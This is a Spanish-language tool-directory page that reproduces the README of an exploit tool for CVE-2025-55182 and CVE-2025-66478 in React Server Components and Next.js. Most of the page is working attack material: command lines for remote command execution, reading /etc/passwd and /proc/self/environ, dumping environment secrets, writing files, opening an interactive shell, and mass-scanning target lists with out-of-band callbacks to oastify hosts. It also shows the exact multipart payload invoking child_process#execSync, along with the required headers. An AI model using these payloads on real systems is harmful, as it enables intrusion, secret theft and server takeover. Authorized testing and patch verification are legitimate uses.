Directorio de Herramientas
Categorías
CVE-2025-55182-Exploit-PoC-Scanner — Herramienta de explotación para CVE-2025-55182 y CVE-2025-66478 en React Server Components y Next.js, con gadgets de RCE, lectura/escritura de archivos, callbacks fuera de límites (OOB) y shell interactivo para pruebas de seguridad autorizadas. | Kitploit
Herramientas / GitHub / zemarkhos / cve-2025-55182-exploit-poc-scanner
zemarkhos/cve-2025-55182-exploit-poc-scanner
CVE-2025-55182-Exploit-PoC-Scanner Herramienta de explotación para CVE-2025-55182 y CVE-2025-66478 en React Server Components y Next.js, con gadgets de RCE, lectura/escritura de archivos, callbacks fuera de límites (OOB) y shell interactivo para pruebas de seguridad autorizadas.
2 1 5 hace 9 mesesDescubre las herramientas más usadas por nuestra comunidad.
Últimos 7 Días Últimos 30 Días
CVE-2025-55182 - Exploit RCE de React Server Components v2.0
Una herramienta integral de investigación de seguridad para probar las vulnerabilidades CVE-2025-55182 y CVE-2025-66478 en React Server Components (RSC) y Next.js Server Actions.
Resumen de la vulnerabilidad
IDs CVE CVE-2025-55182, CVE-2025-66478 Puntuación CVSS 10.0 (CRÍTICO) Versiones Afectadas React < 19.2.0, Next.js < 15.0.5 Tipo de Vulnerabilidad Ejecución Remota de Código (RCE) Vector de Ataque Red
Características
Escaneo de vulnerabilidades estilo PortSwigger con múltiples cargas útiles de detección
Múltiples gadgets RCE (execSync, spawnSync, vm.runInThisContext, etc.)
Pruebas de callback fuera de banda (OOB) para verificación ciega de RCE
Capacidades de lectura/escritura de archivos
Ejecución de código JavaScript
Modo de shell interactiva
Escaneo masivo con múltiples hilos
Soporte de proxy (compatible con Burp Suite)
Formatos de salida JSON/Texto
Instalación
Requisitos
Versión de Python
Inicio rápido # Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
Uso
Argumentos de línea de comandos usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Selección de objetivo Argumento Descripción Ejemplo -u, --urlURL de destino única -u https://target.com-l, --listArchivo que contiene URLs -l targets.txt
Modos de escaneo Argumento Descripción --detectDetectar uso de Next.js/RSC --checkVerificación rápida de vulnerabilidad (prueba matemática) --scanEscaneo completo de vulnerabilidades (estilo PortSwigger) --test-allProbar todos los gadgets y cargas útiles de detección
Explotación Argumento Descripción Ejemplo --cmdEjecutar comando de shell --cmd "id"--gadgetEspecificar gadget a usar --gadget execSync--readLeer archivo del objetivo --read /etc/passwd--writeEscribir archivo en el objetivo --write /tmp/test.txt "content"--jsEjecutar código JavaScript --js "process.env"--shellIniciar shell interactiva --shell--oobHost de callback OOB --oob xyz.oastify.com
Opciones de conexión Argumento Descripción Ejemplo -p, --proxyProxy HTTP/HTTPS -p http://127.0.0.1:8080-c, --cookiesCadena de cookies -c "session=abc123"-H, --headerCabecera extra (repetible) -H "X-Custom: value"-t, --threadsNúmero de hilos para escaneo masivo -t 20--timeoutTiempo de espera de solicitud en segundos --timeout 60
Opciones de salida Argumento Descripción -o, --outputGuardar resultados en archivo (.json o .txt) -q, --quietSuprimir banner
Ejemplos de escaneo
Objetivo único # Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Escaneo masivo # Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Ejemplos de explotación
Ejecución de comandos # Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Operaciones con archivos # Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
Ejecución de JavaScript # Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Shell interactiva python3 exploit-custom.py -u https://target.com --shell
Comando Descripción <comando>Ejecutar comando de shell !read <archivo>Leer archivo !write <archivo> <contenido>Escribir archivo !js <código>Ejecutar JavaScript !gadget <nombre>Cambiar gadget exitSalir del shell
Gadgets disponibles
Gadgets RCE Nombre ID del módulo Descripción execSyncchild_process#execSync Ejecución directa de comandos de shell execFileSyncchild_process#execFileSync Ejecutar archivo binario spawnSyncchild_process#spawnSync Crear proceso con argumentos vm_runInThisContextvm#runInThisContext Ejecutar JS en contexto actual vm_runInNewContextvm#runInNewContext Ejecutar JS con escape del sandbox vm_runInThisContext_globalvm#runInThisContext Ejecutar mediante global.process
Gadgets de archivos Nombre ID del módulo Descripción fs_readFileSyncfs#readFileSync Leer archivos arbitrarios fs_writeFileSyncfs#writeFileSync Escribir archivos arbitrarios
Gadgets OOB Nombre Descripción vm_fetchSolicitud HTTP mediante API fetch (Node 18+) vm_httpSolicitud HTTP mediante módulo http
Cargas útiles de detección (CVE-2025-66478) El modo --scan utiliza estas cargas útiles de detección estilo PortSwigger:
Carga útil Descripción property_referenceReferencia de propiedad delimitada por dos puntos ["$1:a:a"] property_reference_v2Referencia alternativa ["$1:b:b"] property_reference_constructorAcceso al constructor mediante referencia de propiedad property_reference_protoAcceso a la cadena de prototipos mediante referencia de propiedad action_ref_vmACTION_REF con vm#runInThisContext action_ref_execSyncACTION_REF con child_process#execSync
Métodos de callback OOB La herramienta soporta múltiples métodos de callback OOB:
Método Descripción curlSolicitud HTTP mediante comando curl wgetSolicitud HTTP mediante comando wget nslookupConsulta DNS pingPing ICMP fetchAPI fetch de Node.js httpMódulo http de Node.js
Interpretación de la salida
Colores en terminal Color Estado Significado Verde [VULN]Vulnerable - RCE confirmado Amarillo [PATCH]Parcheado - Server Actions activo pero protegido Azul [RSC]Server Actions detectado Cian [NEXT]Next.js detectado Rojo [ERR]Error de conexión
Resultados del escaneo [VULN] property_reference ¡Patrón vulnerable detectado!
-> Patrón de digest de error: E{"digest"... (necesita verificación OOB)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
Detalles técnicos
La herramienta analiza las respuestas en "formato de vuelo" de React Server Components:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
Estructura del payload multipart ------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
Cabeceras HTTP requeridas Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
Versiones parcheadas
React
Next.js
15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Casos de uso
Bug Bounty # 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
Pruebas de penetración # 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
Referencias
Aviso legal Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos .
ADVERTENCIA: El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta solo en sistemas de su propiedad o para los cuales tenga permiso explícito por escrito para realizar pruebas.
Los autores no se hacen responsables del mal uso o daños causados por esta herramienta.
Licencia Esta herramienta se publica con fines de investigación de seguridad y pruebas de penetración autorizadas.
Autor: Ünsal Furkan Harani
Versión: 2.0